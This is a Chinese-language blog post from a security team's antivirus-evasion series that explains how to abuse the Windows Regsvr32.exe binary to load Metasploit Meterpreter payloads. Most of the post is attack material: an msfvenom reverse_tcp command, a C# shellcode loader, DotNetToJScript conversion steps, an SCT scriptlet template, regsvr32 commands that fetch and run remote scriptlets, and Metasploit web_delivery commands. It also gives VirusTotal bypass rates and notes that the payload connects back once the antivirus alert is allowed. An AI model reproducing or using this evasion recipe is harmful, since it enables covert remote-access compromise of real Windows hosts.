远控免杀专题(39)-白名单Regsvr32.exe执行payload(VT免杀率18-58)
2020-03-01 18:00:00 Author: mp.weixin.qq.com(查看原文) 阅读量:75 收藏

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus


几点说明:

1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理,静态查杀payload或者查杀白名单程序都没有任何意义,所以这里对白名单程序的免杀效果不做评判。


Regsvr32是一个命令行实用程序,用于注册和取消注册OLE控件,例如Windows注册表中的DLL和ActiveX控件,以命令行方式运行。Regsvr32.exe安装在Windows XP及更高版本的Windows的%systemroot%\System32 文件夹中。当通过regsvr32中注册一个dll文件时,有关与regsvr32关联的程序的信息将会被添加到Windows中,然后访问这些进程查看器以了解程序数据的位置以及如何与程序数据进行交互。在注册一个dll文件时,会将信息添加到目录中,以便Windows可以使用它。通常,除了注册和注销dll文件外,此文件不常用。

Regsvr32.exe加载payload网上有多种姿势,但通过了解其原理,其实都是使用同一个JScript代码,只不过里面执行了不同的命令而已。Regsvr32已经被各大杀软盯的比较紧了,而且JScript代码模板也都被列入黑名单了,所以想做免杀就比较难了。

Regsvr32.exe分32位和64位,在windows系统中的位置

64位:C:\WINDOWS\SysWOW64\regsvr32.exe32位:C:\WINDOWS\system32\regsvr32.exe

执行本地脚本

regsvr32.exe /s /u /i:file.sct scrobj.dll

加载远程脚本执行

regsvr32.exe /s /u /i:http://reverse-tcp.xyz/file.sct scrobj.dllregsvr32.exe /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

攻击者可以利用ActiveX并将自定义的Vb或JS嵌入在XML文件中,以进行任何类型的攻击,该文件可能是任意后缀名。

参数说明:

Regsvr32 [/u] [/n] [/i[:cmdline]] dllname

/u - 卸载已安装的控件或DLL文件

/i - 调用DllInstall带有可选参数[cmdline],第一个参数值为TRUE;当和/u一起使用时调用DllInstall,带有可选参数[cmdline],第一个参数值为FALSE.

/n - 不调用DllRegisterServer或DllUnregisterServer;该参数必须和/i一起使用; 如果没有/n,则/i在调用DllInstall时还调用了DllRegisterServer或DllUnregisterServer

/s – 静默模式;不显示对话框(Windows XP和Windows Vista中新增选项)

但要注意,如果目前目录和预设系统目录(C:\windows, C:\windows\system32)都有名为 foo.dll 的档案,那么,regsvr32 只会用系统目录下的档案,而不会用目前目录下的档案。解决办法是加上全路径,例如 c:\temp\foo.dll;或是使用下面语法:regsvr32 .\foo.dll

3.1 远程加载SCT文件(VT免杀率22/58)

首先需要生成sct文件,这个和《远控免杀专题(38)-白名单Rundll32.exe执行payload》文章中的“3.1 远程加载SCT文件”基本一致。我这就简单描述一下。

1、首先用msfvenom生成基于csharp的shellcode,我这是生成的x86的,注意这个要和后面rundll32的版本相一致。

msfvenom  -p windows/meterpreter/reverse_tcp -a x86 -f csharp  -b "\x00\xff" LHOST=10.211.55.2 LPORT=3333 -o shell_x86.csharp

2、然后在vs2017中创建C#的Console工程,.Net版本建议2.0,这样兼容性好一些,如果选了net 4.0。其他电脑上没有装4.0的话可能就没法运行了。

代码如下,把shell_x86.csharp内容放到相应MsfPayload位置。

using System;using System.Threading;using System.Runtime.InteropServices;namespace MSFWrapper{    public class Program    {        public Program()        {            RunMSF();        }        public static void RunMSF()        {            byte[] MsfPayload =  {0xbb,---shellcode here---0x1e };
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40); Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length); CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0); Thread.Sleep(2000); } public static void Main() { } [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); }}

修改一下项目属性,设置启动对象为MSFWrapper,编译生成exe,我这生成的就是默认的ConsoleApp2.exe

3、将exe转换为脚本文件

下载DotNetToJScript:https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/DotNetToJScript.zip

将上面生成的ConsoleApp2.exe复制到DotNetToJScript目录下,执行命令生成msf_x86.sct文件

DotNetToJScript.exe -m -o=msf_x86.sct -c=MSFWrapper.Program -v 4 -d  ConsoleApp2.exe

4、这时需要对sct文件做一些处理,把头部和尾部替换成下面的JScript代码

<?XML version="1.0"?><scriptlet><registration     progid="PoC"    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >	<script language="JScript">		<![CDATA[	    		// calc.exe should launch, this could be any arbitrary code.      	   		// What you are hoping to catch is the cmdline, modloads, or network connections, or any variation			var r = new ActiveXObject("WScript.Shell").Run("calc.exe");				]]></script></registration></scriptlet>

原始是这样的 

替换后为这样的

 注意尾部代码也要替换。

4、将msf_x86.sct文件放在自己的web服务器上,我的是http://10.211.55.2/msf_x86.sct

在msf中监听

然后在测试机执行

C:\WINDOWS\SysWOW64\regsvr32.exe /s /n /u /i:http://10.211.55.2/msf_x86.sct scrobj.dll

如果发现执行后msf上线然后马上就掉了,可以试一下去掉/s参数。

C:\WINDOWS\SysWOW64\regsvr32.exe /n /u /i:http://10.211.55.2/msf_x86.sct scrobj.dll

发现360和火绒的行为检测都会预警

放行后msf正常上线

virustotal.com上msf_x86.sct文件查杀率为22/58,和专题38一样。

尝试了下对上面的JScript代码进行查杀测试

好吧,这样没有任何危害的代码都是16/57

3.2 Msf的Web分发(VT免杀率18/58)

metasploit也提供了快速直接使用Regsvr32加载payload的模块,借助于该模块Regsvr32能够运行.sct文件,然后在其中执行包含PowerShell命令。两个Web请求(即.sct文件和PowerShell下载/执行)都可以在同一端口上执行。“PSH(Binary)”会将文件写入到硬盘中,允许自定义二进制文件被下载和执行。

在msf中使用use exploit/multi/script/web_delivery,然后执行info查看该模块可使用的targets。

选择3,然后设置服务器地址,注意这里的payload设置,如果测试机是x64的那么payload也要设置x64位。

use exploit/multi/script/web_deliverymsf5 exploit(multi/script/web_delivery) > set target 3msf5 exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_tcpmsf5 exploit(multi/script/web_delivery) > set SRVHOST 10.211.55.2msf5 exploit(multi/script/web_delivery) > set lhost 10.211.55.2msf5 exploit(multi/script/web_delivery) > exploit

在测试机执行上图中的命令

regsvr32 /s /n /u /i:http://10.211.55.2:8080/hHC96MJdUcF.sct scrobj.dll

发现360和火绒都会行为预警

放行后msf可上线

看一下hHC96MJdUcF.sct文件内容,可以发现和方法1其实一样,只不过是执行了一个powershell命令,下载执行payload。

virustotal.com上hHC96MJdUcF.sct文件查杀率为18/58,因为里面只有一句powershell,所以比上面的法1还好一些。不过里面执行的powershell一般很难过杀软的行为检测的。

在metasploit的之前版本中,还有个windows/misc/regsvr32_applocker_bypass_server模块,也可以直接生成regsvr32的加载payload,不过新版本已经去掉该模块了。我尝试用了下那个模块,其实和这里的效果一样,而且没有进行编码加密处理。所以用这里的方法就可以的了。

AppLocker Bypass – Regsvr32:https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/

使用regsrv32.exe绕过应用程序白名单(多种方法):https://www.cnblogs.com/backlion/p/10489521.html

基于白名单Regsvr32执行payload:https://micro8.gitbook.io/micro8/contents-1/71-80/79-ji-yu-bai-ming-dan-regsvr32-zhi-hang-payload-di-jiu-ji

E

N

D

guān

zhù

men

Tide安全团队正式成立于2019年1月是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以关注关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247485659&amp;idx=1&amp;sn=d9b52d044e786c49b98be87045c09971&amp;chksm=ce5e2abaf929a3aca9bbcab4a42a2a472cadbf6944e5454d422982ce15ac86b543485414720c#rd
如有侵权请联系:admin#unsafe.sh